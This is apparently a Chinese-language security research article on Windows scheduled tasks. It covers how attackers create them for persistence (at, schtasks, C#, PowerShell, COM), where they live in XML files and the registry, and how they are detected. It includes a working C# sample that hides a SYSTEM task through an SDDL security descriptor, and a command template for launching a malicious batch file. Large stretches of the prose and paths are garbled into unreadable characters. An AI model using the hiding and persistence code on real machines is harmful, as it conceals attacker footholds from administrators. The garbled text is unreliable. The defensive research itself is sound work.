
ZULWH�E\�5(,QMHFW�

௶఺᫫կ౲ධڋᘏ᭗ଉֵአᦇښձ֢ۓԅ՜ժጱ೮ԋ۸๢̶ګ

՗ᷚᴾݎሿጱ᥯ଶᘍᡤ҅ቘᥴᦇښձۓጱᬩᤈڠ޾ୌොୗզ݊޾ᦇښձۓፘىᘶጱᬰᑕฎํ஠ᥝጱ̶

ଚӬ҅๜෈ᬮ੒Ӟᐿ๚ل୏ጱᦇښձۓᵌᡐಋဩᬰᤈԧሖၥӨറᑪ̶

ሿ҅ࣁᦏ౯ժ୏তԧᥴᦇښձۓጱӞ̶ڔ

06'1᯾੒ᦇښձۓጱᕡᜓמ௳ൈᬿጱஉᧇᕡԧ҅۱ೡֵአጱ$3,౲ૡ֢๢̶ګಅզӧٚ᯿॔ᴏᬿ҅ݝ୚አ
ӞԶ஠ᥝጱӳᥜғ

7KH�7DVN�6FKHGXOHU�VHUYLFH�DOORZV�\RX�WR�SHUIRUP�DXWRPDWHG�WDVNV�RQ�D�FKRVHQ
FRPSXWHU��:LWK�WKLV�VHUYLFH��\RX�FDQ�VFKHGXOH�DQ\�SURJUDP�WR�UXQ�DW�D�FRQYHQLHQW
WLPH�IRU�\RX�RU�ZKHQ�D�VSHFLƉF�HYHQW�RFFXUV��7KH�7DVN�6FKHGXOHU�PRQLWRUV�WKH�WLPH
RU�HYHQW�FULWHULD�WKDW�\RX�FKRRVH�DQG�WKHQ�H[HFXWHV�WKH�WDVN�ZKHQ�WKRVH�FULWHULD�DUH
PHW��ń�06'1

ᦇښձۓ᧣ଶ࢏տ໑ഝձۓጱਧԎࣁ೰ਧጱ෸ᳵ᥶ݎձ҅ۓ՜۱ތզӥᕟկғ

7ULJJHUVғձۓ᥶ݎጱ๵կ
$FWLRQVғձۓᬩᤈጱ෸ײಗᤈጱ֢ۖ
3ULQFLSDOVғ೰ਧᬩᤈձۓጱአಁ౲አಁᕟמ௳
6HWWLQJVғ೰ਧ୽ߥձۓᤈԅጱٌ՜ᦡᗝ
5HJLVWUDWLRQ�,QIRUPDWLRQғ۱ތձڠۓୌ෸ᳵ̵ڠୌՈᒵמ௳
'DWDғಗᤈձۓ෸ֵአጱ᷐क़ጱמ௳

ๅग़ݢ௳מզ1'�06ࣁ�ತ̶ک

[T1053][T1559.001] x Ⴎفቘᥴᦇښձٌ݊ۓ௶఺ᵌᡐොୗറᑪ 

 ጱൈᬿۓձښԭᦇى

https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler
https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page


ӥᶎ਍ԟӞӥձڠۓୌጱොୗ̶

ֵአ�DW޸�եڠୌᦇښձۓጱොୗғ

at 11:11 /every:Sunday,Monday,Tuesday "malware.exe"

զӤ޸եਖ਼ڠୌӞӻᦇښձޮྯࣁ҅ۓ෭̵ޮӞ̵ޮԫጱ�������ಗᤈ�PDOZDUH�H[H̶

Ԟݢզ᭗ᬦ�ŉ??&RPSXWHU1DPHŊࣁ�೰ਧᦇᓒ๢Ӥᬩᤈ҅ๅग़ጱ݇හמ௳݇ᘍ�06'1̶

ӥᶎᬯԶݢ௳מᚆտଆۗഭັ�ŉDW�H[HŊ�ኞ౮ጱᦇښձۓғ

᪠ஆғ��6\VWHP5RRW�?6\VWHP��?DW�H[H
๦ᴴғ�஠ᶳฎᓕቘާᕟአಁ
ഭັғ�༄ັڠୌձۓ෸ጱ޸եᤈٖ਻҅፡፡ݢಗᤈᑕଧ౲ᘏ޸եฎވฎ௶఺ጱ̶
ٌ՜ғ

DWڠ�ୌጱձۓ෈կ֖ᗝғ�6\VWHP5RRW�?7DVNV҅ဳى�$W>[@�MRE�෈կ҅[�դᤒձۓጱ�,'
ጱ�;0/�෈կ֖ᗝғ�6\VWHP5RRW�?6\VWHP��?7DVNVىፘۓձ޾
ইຎձۓ෭பฎސአጱ҅ݢզഭັ�ŉଫአᑕଧ޾๐ۓ෭
ப�0LFURVRIW�:LQGRZV�7DVN6FKHGXOHU�2SHUDWLRQDOŊ�Ԫկ෭ப̶

ŉDW�H[HŊࣁ��ZLQGRZV��୏ত੪୒አԧ҅ԏݸጱᔮᕹ᮷ฎֵአ�ŉVFKWDVNV�H[HŊڠ�ୌᦇښձ҅ۓᧆ޸ե݇හ
ইӥғ௳מ

SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]

VFKWDVNV�ྲ�DW�ๅے୩य़҅൉׀ԧஉग़ᛔਧԎձۓ෸ᵱᥝጱ݇හ̶

ጱ݇හฎ�ŉ75Ŋ̶ىਙፘ޾਻ٖ҅ۓጱฎಗᤈጱձဳىᚆๅݢഭັ෸҅౯ժۓձښ੒ᦇࣁ

Ӟᛱఘڠ٭ୌ௶఺ᦇښձۓጱय़༷޸եฎᬯ໏ৼғ

"c:\Windows\System32\schtasks.exe" /Create /SC ONCE /TN KglN9I99 /TR "cmd /c \"start /m
in C:\ProgramData\KglN9I99.bat\"" /ST 20:21

ᬯӻ޸եӾֵአԧ���71��೰ਧձݷۓᑍԅ�ŉ.JO1�,��Ŋ҅ŉ�75Ŋ�݇හ೰ਧᬩᤈጱ௶఺޸ե҅ŉ�67Ŋ�೰ਧԧ

᭗ᬦ޸եᤈڠୌձۓ 

At.exe 

schtasks.exe 

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb490866(v=technet.10)


ᬩᤈ෸ᳵ҅ŉ�6&Ŋ�೰ਧᬩᤈޮ๗҅ᬮݢզ᭗ᬦ�ŉ�('Ŋ�݇හ೰ਧձۓᕣྊ෭๗ᒵ̶

ๅग़ىԭ�ŉVFKWDVNV�H[HŊ�ጱአဩ҅݇ᘍ�06'1

ӥᶎᬯԶݢ௳מᚆտଆۗഭັ�ŉVYFKRVWV�H[HŊ�ኞ౮ጱᦇښձۓғ

᪠ஆғ��6\VWHP5RRW�?6\VWHP��?VFKWDVNV�H[H
๦ᴴғ�ฦ᭗አಁ̶ইຎᥝดᐏ೰ਧṛ๦አಁᬩᤈձ҅ۓᵱᥝᧆᨴಁጱᨴಁੂ޾ݷᎱמ௳̶
ഭັғ

༄ັ᧣አ�VFKWDVNV�ጱᆿᬰᑕמ௳҅ฎํވ๦ڠୌձۓ
༄ັ�ŉ�75Ŋ�݇හጱ꧊҅ݢಗᤈ෈կ౲޸եฎވฎ௶఺ጱ

ٌ՜ғ
ጱ�;0/�෈կ֖ᗝғ�6\VWHP5RRW�?6\VWHP��?7DVNVىፘۓձ޾
ইຎձۓ෭பฎސአጱ҅ݢզഭັ�ŉଫአᑕଧ޾๐ۓ෭
ப�0LFURVRIW�:LQGRZV�7DVN6FKHGXOHU�2SHUDWLRQDOŊ�Ԫկ෭ப̶

Ӟ෮ձڠۓୌ҅ਖ਼տᛔۖࣁፓ୯�ŉ�6\VWHP5RRW�?6\VWHP��?7DVNVŊ�ኞ౮Ӟӻىԭᧆձۓጱൈᬿ௔
;0/�෈կ҅۱ތԧಅํጱձמۓ௳̶

ᵱᥝဳ఺ጱฎ҅᭗ᬦ�ŉWDVNVFKG�PVFŊڠ�ୌጱձۓտፗള՗ಓᓕ�ŉ7DVN�6FKHGXOHUŊ�๐ۓጱ
ŉVYFKRVW�H[HŊ�ᬰᑕၝኞ̶

ᬯฎྲ᫾ฦ᭭ጱڠୌොୗғ

ҁฦ᭗๦ᴴ҂

schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /f
schtasks.exe /run /tn test
schtasks.exe /end /tn test
schtasks.exe /delete /tn test /f

schtasks /create /xml c:\test\1.xml /tn test2
schtasks.exe /run /tn test2
schtasks.exe /end /tn test2
schtasks.exe /delete /tn test2 /f

ҁṛ๦҂

schtasks.exe /create /tn test /tr "cmd.exe" /sc minute /mo 1 /ru "SYSTEM" /rl HIGHEST /
f
schtasks.exe /run /tn test
schtasks.exe /end /tn test
schtasks.exe /delete /tn test /f

ٌ՜ڠୌᦇښձۓጱොୗ 

schtasks.exe ݊ at.exe ޸եڠୌ 

https://docs.microsoft.com/en-us/windows/win32/taskschd/schtasks


at 00:00 cmd.exe
at {taskid} /delete /yes

DW�ဌํ�VFKWDVNV޸�ե୩य़҅ྲইဌېဩᵍړ�ᰦಗᤈӞ̶ེ

ZLQ�Uۖސ��WDVNVFKG�PVF

PPFᑕଧݸۖސտፗള൉๦کᓕቘާ๦ᴴ҅ಅզฦ᭗አಁݢզڠୌṛ๦ᴴጱձۓғ

 ୌڠ୵ኴᶎ taskschd.msc ොୗࢶ



ᭌӾ7DVN�6FKHGXOHU�/LEUDU\�҅ݦᲫ��!�&UHDWH�7DVN���
୨ڊኴᶎ҅᭑ӻᯈᗝݢܨ�



դᎱ๋ᕣ᮷ฎ޾� c:\windows\system32\taskschd.dll �൉׀ጱ�&20�๐ۓԻ԰ғ
*8,'���)�����)�$�(���&)&�%'�(���(�������''
ဳٙᤒ᪠ஆ��+.(<B/2&$/B0$&+,1(?62)7:$5(?&ODVVHV?&/6,'^�I�����I�D�H���FIF�EG�H�
��H�������GG`

ᧆ�&20�ᕟկӧඪ೮�(OHYDWLRQ҅෫ဩᛔۖ൉๦̶

ӥᶎฎ�ᐿڠୌᦇښձۓጱդᎱᐏֺғ

csharp 

F��ਫሿጱᦾ҅ԅԧො҅׎୚አ�7DVN6FKHGXOHU�ᶱፓᬰᤈᦇښձۓጱڠୌғ

using System;

դᎱොୗڠୌձۓ 

https://github.com/dahall/TaskScheduler


using System.Security.Principal;
using System.Security.AccessControl;
using Microsoft.Win32.TaskScheduler;
using System.Text.RegularExpressions;

namespace SchtaskHidden
{
    class Program
    {
        static void Main(string[] args)
        {
            //TaskCollection tt = TaskService.Instance.RootFolder.GetTasks(new Regex("t
est"));
            //foreach(Task ti in tt)
            //{
            //    Console.WriteLine(ti.Name);
            //}
            //System.Environment.Exit(0);
            TaskDefinition td = TaskService.Instance.NewTask();
            td.RegistrationInfo.Description = "do something";
            //td.Principal.RunLevel = TaskRunLevel.Highest;
            //td.Principal.LogonType = TaskLogonType.ServiceAccount;
            //td.Principal.UserId = "SYSTEM";

            TimeTrigger dt = new TimeTrigger();
            dt.StartBoundary = DateTime.Now;
            dt.Repetition.Interval = TimeSpan.FromMinutes(1);

            td.Triggers.Add(dt);
            td.Actions.Add("cmd.exe", "/c \"calc.exe\"", null);
            Task t = TaskService.Instance.RootFolder.RegisterTaskDefinition(path: "test
xxx", definition: td, TaskCreation.CreateOrUpdate, null, null, 0);
            Console.WriteLine("success!!");
            //TaskSecurity ts = new TaskSecurity(t);
            //ts.RemoveAccessRuleAll(new TaskAccessRule(new SecurityIdentifier(WellKnow
nSidType.ServiceSid, null), TaskRights.Read | TaskRights.Write | TaskRights.ReadAttribu
tes, AccessControlType.Allow));

            //t.SetAccessControl(ts);

            //Console.WriteLine("success!!");
        }
    }
}

powershell 

$TaskDescr = "test task"
$Author = "thin0"
$TaskName = "test"
$TaskStartTime = ::Now[datetime]



$TaskCommand = "cmd.exe"
$TaskArg = "/c calc.exe"
$UserAcct = "$env:userdomain\$env:username"
# $UserAcct = "SYSTEM"

$ScheduleObject = new-object -ComObject("Schedule.Service")
# connect to the local machine. 
$ScheduleObject.Connect("localhost")
$rootFolder = $ScheduleObject.GetFolder("\")

$TaskDefinition = $ScheduleObject.NewTask(0) 
$TaskDefinition.RegistrationInfo.Description = "$TaskDescr"
$TaskDefinition.RegistrationInfo.Author = "$Author"
#$TaskDefinition.Principal.RunLevel = 1
$TaskDefinition.Settings.Enabled = $true
$TaskDefinition.Settings.AllowDemandStart = $true
$TaskDefinition.Settings.DisallowStartIfOnBatteries = $false
$TaskDefinition.Settings.ExecutionTimeLimit = "PT0S"  # See Note Below

$triggers = $TaskDefinition.Triggers
$trigger = $triggers.Create(1) # Creates a "time-based" trigger, 8: system startup
$trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
$trigger.Repetition.Interval = 1
$trigger.Enabled = $true

$Action = $TaskDefinition.Actions.Create(0)
$action.Path = "$TaskCommand"
$action.Arguments = "$TaskArg"

$rootFolder.RegisterTaskDefinition($TaskName,$TaskDefinition,6,$UserAcct,$null,3)

SRZHUVKHOOݢ�զӧአᬯԍἋᅸ҅ํᛔଃጱ�FPGOHWғ

$taskname = "test"
$cmd = "cmd.exe"
$cmdargs = "/c calc.exe"
$username = "$env:username"
#$username = "SYSTEM"
$taskdescription = "test task"

$action = New-ScheduledTaskAction -Execute $cmd -Argument $cmdargs
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeS
pan -minutes 1)
$settings = New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Minutes 0) 
-RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName $taskname -Descripti
on $taskdescription -Settings $settings -User $username -RunLevel 1 # 1 for highest, 0 
for low

եғ޸ᴻڢ Unregister-ScheduledTask -TaskName test -Confirm:$false



ᬩᤈᦇښձۓጱፘى๐ۓฎғŉ7DVN�6FKHGXOHUŊ̶ᧆ๐ֵۓአ�ŉ69&+267�H[HŊ�ጱ�ŉQHWVYFVŊ�ᕟᬰᤈಓ
ᓕ̶

᭗ᬦᬰᑕ໅፡ک�ŉVYFKRVW�H[HŊ�ᬰᑕጱ޸եᤈԅғŉVYFKRVW�H[H��N�QHWVYFV��S��V�6FKHGXOHŊ҅ࣁ
:LQGRZV��������զӥݢᚆ፡ӧک�ŉ�V�6FKHGXOHŊ݇හ̶

ၝኞձۓᬰᑕጱᆿᬰᑕҁsvchost.exe/taskeng.exe/taskhostw.exe҂ 



!��ጱᬰᑕၝኞᶲଧฎᬯ໏ৼጱғVYFKRVW�H[H��!�WDVNHQJ�H[Hۓձښ෯ᔮᕹӾᦇࣁ
>6SHFLDO7DVN3URFHVV@ֺ҅ইғ

ŉWDVNHQJ�H[HŊ�ጱᬰᑕ݇හ᧍ဩইӥғ

taskeng.exe {GUID} [User SID]:[Domain]\[User Name]:[Options]

຤Զఘ٭ӥ҅ݢᚆ8*^�ํݝ,'`�Ӟӻ݇හ҅2SWLRQV�݇හݢᚆտຽᦩӞԶٌ՜מ௳ֺ҅ই๦ᴴמ௳҅ইຎӞ
ӻձۓᬩᤈࣁṛ๦ᴴཛྷୗӥ҅2SWLRQV�ጱٖ਻տฎғ

Interactive:Highest[1]

ಅզࣁ෯ጱᔮᕹӾݢզັ፡ᬰᑕ໅ഭັ௶఺ᬰᑕֺ҅ইತک�ŉWDVNHQJ�H[HŊ�ጱᬰᑕ໅҅ਙጱᆿᬰᑕԅ
ŉVYFKRVW�H[H��N�QHWVYFVŊ҅ৼᬰᑕ੪ฎᬩᤈӾጱձۓ੒ଫጱᬰᑕ҅᭗ᬦഭັৼᬰᑕᏟਧ௶఺ᬰᑕ̶

՗�:LQGRZV���������ᇇ๜୏ত҅ӧٚํ�ŉWDVNHQJ�H[HŊ�ԧ҅ෛᇇ๜ᔮᕹӾತӧکᧆᑕଧ҅ձۓᬰᑕፗളᬩ
ᤈࣁಓᓕ�ŉ7DVN�6FKHGXOHUŊ๐ۓጱ�ŉVYFKRVW�H[HŊ�ᬰᑕӥғ

ಅզṛᇇ๜ᔮᕹӾ҅౯ժݢզഭັ�ŊVYFKRVW�H[H��N�QHWVYFVŉ�ᬰᑕጱৼᬰᑕ๶Ꮯਧ௶఺౲ݢወᑕଧ̶

ԅ�ŊWDVNKRVWZ�H[Hŉ�ጱᬰݷŊVYFKRVW�H[H��N�QHWVYFVŉ�ӥᬮํӞӻ҅کզஉกดဳ఺ݢ᯾҅ࢶӤᶎጱࣁ
ᑕ̶

ԅғWDVNKRVW�H[H̶ݷLQGRZV���Ӥᧆᬰᑕ:�ࣁ

ԅғWDVNKRVWH[�H[H̶ݷLQGRZV���Ӥᧆᬰᑕ:�ࣁ

ᧆᬰᑕጱ֢አݶ�ŊGOOKRVW�H[Hŉ޾��ŊVYFKRVW�H[Hŉ�ፘ֒҅᩸کӞӻ�'//�ಓᓕጱ֢አ̶

᭗ᬦ൤ᔱ�Ŋ�6\VWHP5RRW�?6\VWHP��?7DVNVŉ�෈կ४҅౯ժᚆತکӞԶձۓ੒ଫጱ֢ۖӧฎ�Ŋ([HFŉ҅
ᘒฎ�ŉ&RP+DQGOHUŊ̶

taskeng.exe 

svchost.exe -k netsvcs -p 

taskhostw.exe 



౯ժತکӞԶᚆ᩸ک੒ྲපຎጱձ0;�ۓ/҅ᵌᡐԧӞԶӧ஠ᥝጱਁྦྷ̶

ᬯฎ౯ժڥአ�ŉVFKWDVNV�H[HŊ޸�եڠୌጱձ0;�ۓ/ғ

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Actions Context="Author">
    <Exec>
      <Command>"C:\Program Files (x86)\IObit\Advanced SystemCare\ASC.exe"</Command>
      <Arguments>/SkipUac</Arguments>
    </Exec>
  </Actions>
</Task>

ᬯӻฎᔮᕹ�ŉ�1(7�)UDPHZRUNŊ�ጱᦇښձ0;�ۓ/�ٖ਻҅ইຎਞᤰԧ��1(7�໛ຝݢզࣁ
ŉ�6\VWHP5RRW�?6\VWHP��?7DVNV?0LFURVRIW?:LQGRZV�1(7�)UDPHZRUNŊ�ፓ୯ӥತکғ

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.6" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Actions Context="Author">
    <ComHandler>
      <ClassId>{84F0FAE1-C27B-4F6F-807B-28CF6F96287D}</ClassId>
      <Data><![CDATA[/RuntimeWide]]></Data>
    </ComHandler>
  </Actions>
</Task>

ಋۖ᥶ݎŉ�1(7�)UDPHZRUNŊ�ձ҅ۓᧆձۓ᧣አ�ŉQJHQWDVNODXQFKHU�GOOŊ҅᭗ᬦ�3URF([S�H[H�ፊഴᬰᑕᥡ
੊کጱᬰᑕ໅ғ

'DWD!Ŋ�ຽᓋ೰ਧጱӞ໏̶�PO�Ӿ�ŉ]�޾��ŉWDVNKRVWZ�H[HŊ�ጱ݇හ�ŉ�5XQWLPH:LGHŊکզဳ఺ݢ

$(Arg0) ݇හ 

եᤈ݇හғ޸ሿӥᶎጱݎᥡ੊�ŉWDVNKRVWZ�H[HŊ�ᬰᑕ໅ጱᬦᑕӾ҅ࣁ

taskhosw.exe Install $(Arg0)

ᬯӻӳᥜ1'�06ࣁ�Ӿ؉ԧՕᕨғ

6RPH�DFWLRQ�SURSHUWLHV�WKDW�DUH�RI�W\SH�%675�FDQ�FRQWDLQ� �$UJ����ŏ�
��$UJ����YDULDEOHV�LQ�WKHLU�VWULQJ�YDOXHV��7KHVH�YDULDEOHV�DUH�UHSODFHG�ZLWK�WKH�YDOXHV
WKDW�DUH�VSHFLƉHG�LQ�WKH�SDUDPV�SDUDPHWHU�RI�WKH�,5HJLVWHUHG7DVN��5XQ�DQG
,5HJLVWHUHG7DVN��5XQ([�PHWKRGV�RU�DUH�FRQWDLQHG�ZLWKLQ�WKH�HYHQW�WULJJHU�IRU�WKH

https://docs.microsoft.com/en-us/windows/win32/taskschd/task-actions


WDVN�

ኧྌݢᎣ҅��$UJ���ᬯԶ݇හฎࣁ᭗ᬦ�ŉ,5HJLVWHUHG7DVN��5XQ>([@Ŋ�ളݗᬩᤈձۓ෸ۖா೰ਧጱ̶ࣁӞԶ
:LQGRZV�ἕᦊጱձۓӾଉᥠғ

?0LFURVRIW?:LQGRZV?:RUNSODFH�-RLQ?$XWRPDWLF�'HYLFH�-RLQ�ձۓғ

<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Actions Context="LocalSystem">
    <Exec>
      <Command>%SystemRoot%\System32\dsregcmd.exe</Command>
      <Arguments>$(Arg0) $(Arg1) $(Arg2)</Arguments>
    </Exec>
  </Actions>
</Task>

?0LFURVRIW?:LQGRZV?0DSV?0DSV7RDVW7DVN�ձۓғ

<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Actions Context="Users">
    <ComHandler>
      <ClassId>{9885AEF2-BD9F-41E0-B15E-B3141395E803}</ClassId>
      <Data><![CDATA[$(Arg0);$(Arg1);$(Arg2);$(Arg3);$(Arg4);$(Arg5);$(Arg6);$(Arg7)]]>
</Data>
    </ComHandler>
  </Actions>
</Task>

ັᴅ�06'1ݢ�Ꭳ҅ᧆ݇හݢզ᭗ᬦզӥ�$3,�ᬰᤈփ᭓ғ

,7DVN+DQGOHU��6WDUW
,5HJLVWHUHG7DVN��5XQ
,5HJLVWHUHG7DVN��5XQ([
,([HF$FWLRQ��SXWB$UJXPHQWV
,7DVN��6HW3DUDPHWHUV

෫ဩ᭗ᬦܩ๗௔ጱಗᤈ҅֕ޮࣁۓձښ఺ᦇ௶ک෭பӾ፡ۓձښᚆ՗ᦇݝӞེଫ௒ഭັӾ҅ࣁ
WDVNVFKG�PVF�౲�VFKWDVNV��TXHU\�ັᧃک௶఺ձ҅ۓଚӬ᭗ᬦഭັ��6\VWHP5RRW�?6\VWHP��?7DVNV
ፓ୯ݸՖ෫ဩತکਙ̶

PO�෈կ҅᮷෫]�ۓᴻձڢPO�෈կ҅ᬮฎ]�ۓදձץ෫ᦞฎಋۖ҅ݸ��ŉWHVWŊۓձښୌᦇڠሿ҅ݎၥᦶӾࣁ
ဩ୽ߥᧆձۓጱᬩᤈ̶ԭฎ੒ဳٙᤒᶱᬰᤈፊഴ҅ݎሿڠࣁୌձݸۓ
ŉ+.(<B/2&$/B0$&+,1(?6RIWZDUH?0LFURVRIW?:LQGRZV�17?&XUUHQW9HUVLRQ?6FKHGXOHŊڊ�ሿ̶ۖݒ

ᦇښձۓፘٙဳىᤒᶱ 

https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskhandler-start
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-run
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-runex
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iexecaction-put_arguments
https://docs.microsoft.com/en-us/windows/win32/api/mstask/nf-mstask-itask-setparameters


ӥᶎฎ՗�ZLQUHJ�NE�ᶱፓӾ஑کᧆဳٙᤒ੒ଫጱמ௳ғ

ᤒ᪠ஆԅ�ŉ+.(<B/2&$/B0$&+,1(?6RIWZDUH?0LFURVRIW?6FKHGXOLQJ$JHQWŊٙဳۓձښ3�෸҅ᦇ;�ࣁ

:LQ��զݎݸኞݒ۸҅ݒ౮�ŉ+.(<B/2&$/B0$&+,1(?6RIWZDUH?0LFURVRIW?:LQGRZV
17?&XUUHQW9HUVLRQ?6FKHGXOHŊ҅ৼᶱํғ

ᑍݷ ൈᬿ

$OLDVHV ਂؙ$W6HUYLFH$FFRXQW҅ἕᦊ17�$87+25,7<?6\VWHP

&RPSDWLELOLW\$GDSWHU

&RQƉJXUDWLRQ

&UHG:RP

+DQGOHUV

+DQGVKDNH

7DVN&DFKH ਂؙձۓᶱמ௳

ձۓᶱמ௳ᴻԧࣁᏺፏӾጱ�ŉ�6\VWHP5RRW�?6\VWHP��?7DVNVŊ�ӥԏक़҅ᬮࣁ
ŉ+.(<B/2&$/B0$&+,1(?6RIWZDUH?0LFURVRIW?:LQGRZV
17?&XUUHQW9HUVLRQ?6FKHGXOH?7DVN&DFKHŊ�Ӿਂࣁғ

6FKHGXOH?7DVN&DFKH��

ᑍݷ ൈᬿ

%RRW

/RJRQ

3ODLQ

3ODLQ

7UHH

7DVN&DFKH?7UHH�ৼᶱզձݷۓᑍྯ҅ݷ޸ӻձۓӥጱ�9DOXH�ᕮ຅ইӥғ

ᑍݷ ᔄࣳ ൈᬿ

,G 5(*B6= ^*8,'`҅ձۓ੒ଫጱJXLGᖫݩ

,QGH[ 5(*B':25' Ӟᛱձۓԅ�ٌ҅՜꧊๚Ꭳ

6' 5(*B%,1$5< ᧆձۓᶱጱਞقൈᬿמ௳҅ԫᬰګ꧊҅ᕮ຅๚Ꭳ

ྯӻ�6FKHGXOH?7DVN&DFKH?7DVNV?�*8,'��੒ଫӞӻձํ҅ۓᬯԶ�9DOXH��

ᑍݷ ᔄࣳ ൈᬿ

$FWLRQV 5(*B%,1$5< ԫᬰګ꧊֢҅ۖמ௳҅Ӿᳵ۱2&,�81ތ'(�୵ୗ�&200$1'מ�௳

https://github.com/libyal/winreg-kb/blob/master/documentation/Task%20Scheduler%20Keys.asciidoc


'DWH 5(*B6= ձڠۓୌ෭๗"

'HVFULSWLRQ 5(*B6= ձۓൈᬿ

'\QDPLF,QIR 5(*B%,1$5< :LQ��զӥ����֖҅:LQ��զӤ����֖

+DVK 5(*B%,1$5< 6+$�����RU�&5&����ወ֒੒ଫ�[PO�෈կ�+DVK

3DWK 5(*B6= ᪠ஆۓ�7DVN&DFKH?7UHH�Ӿጱձࣁ

6FKHPD 5(*B':25'

7ULJJHUV 5(*B%,1$5< ԫᬰ҅ګ᥶מ࢏ݎ௳

85, 5(*B6= ձۓ᪠ஆ

ইຎฎ�DW޸�եڠୌጱᦇښձ҅ۓ੒ଫጱဳٙᤒ֖ᗝ�0ࣁLFURVRIW?:LQGRZV
17?&XUUHQW9HUVLRQ?6FKHGXOH?7DVN&DFKH?7UHH?$W�̶

ᦇښձۓጱ�6'�ᯈᗝٙဳࣁᤒӾጱ֖ᗝғŉ+.(<B/2&$/B0$&+,1(?6RIWZDUH?0LFURVRIW?:LQGRZV
17?&XUUHQW9HUVLRQ?6FKHGXOH?7DVN&DFKH?7UHH^7DVN1DPH`?6'Ŋ҅ԅՈᔄӧݢ᧛ጱԫᬰګ໒ୗғ

ᵌᡐጱፓጱ̶᥶ᔄکզᬡݢ௳מൈᬿقද੒᨝ጱਞץ᭗ᬦکጱ෈ᒍӾ҅ԧᥴۓԭᵌᡐZLQGRZV๐ىӞᓤࣁ

ᦇښձۓጱਞقൈᬿᒧҁSD҂ 



ෟ᭗Ӟӥ҅ᦇښձۓጱᵌᡐଫᧆԞฎݢզ᭗ᬦදݒਞقൈᬿמ௳ҁ6'҂ਫሿ̶

:LQGRZV�ᛔଃጱૡٍ�VFKWDVNV�H[H�ଚӧඪ೮�VG�ጱᦡᗝ҅ᵱᥝ᭗ᬦ�$3,�ਫሿ̶᭗ᬦັᴅ�06'1�ଚ๚ݎሿ
੒ԭ�7$6.�ጱ�6''/�ᧆெԍٟ҅ፘڜ�,3$�ىᤒғ

,5HJLVWUDWLRQ,QIR��SXWB6HFXULW\'HVFULSWRU
,7DVN)ROGHU��&UHDWH)ROGHU
,7DVN)ROGHU��&UHDWH)ROGHU
,7DVN)ROGHU��5HJLVWHU7DVN'HƉQLWLRQ
,7DVN)ROGHU��6HW6HFXULW\'HVFULSWRU
,5HJLVWHUHG7DVN��6HW6HFXULW\'HVFULSWRU

᭗ᬦᬯԶ�$3,ݢ�զਫሿᦡᗝ�7$6.�ጱ�6'מ�௳̶౯੤ᦶֵአᶱፓ�7DVN6FKHGXOHU�ᬰᤈձۓጱڠୌ҅ਙአ
᩸๶տๅො׎ӞԶғ

using System;
using System.Security.Principal;
using System.Security.AccessControl;
using Microsoft.Win32.TaskScheduler;

namespace SchTaskOpt
{
    class Program
    {
        static void Main(string[] args)
        {
            TaskDefinition td = TaskService.Instance.NewTask();
            td.RegistrationInfo.Description = "do something";
            td.Principal.RunLevel = TaskRunLevel.Highest;
            td.Principal.LogonType = TaskLogonType.ServiceAccount;
            td.Principal.UserId = "SYSTEM";
            td.RegistrationInfo.SecurityDescriptorSddlForm = @"D:P(D;;DCLCWPDTSD;;;IU)(
A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)";

            DailyTrigger dt = new DailyTrigger();
            dt.StartBoundary = DateTime.Now;
            dt.DaysInterval = 1;
            dt.Repetition.Interval = TimeSpan.FromMinutes(1);

            //td.Triggers.Add(dt);
            td.Actions.Add("notepad", null, null);
            Task t =  TaskService.Instance.RootFolder.RegisterTaskDefinition(path:"test
2", definition:td, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.ServiceAccoun
t);
            Console.WriteLine("success!!");
            //TaskSecurity ts = new TaskSecurity(t);
            //ts.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidTy
pe.AuthenticatedUserSid, null), TaskRights.Read | TaskRights.Write | TaskRights.ReadAtt
ributes, AccessControlType.Deny));

            //t.SetAccessControl(ts);

https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregistrationinfo-put_securitydescriptor
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-createfolder
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-registertask
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-registertaskdefinition
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-setsecuritydescriptor
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-setsecuritydescriptor
https://github.com/dahall/TaskScheduler


            Console.WriteLine("success!!");
        }
    }
}

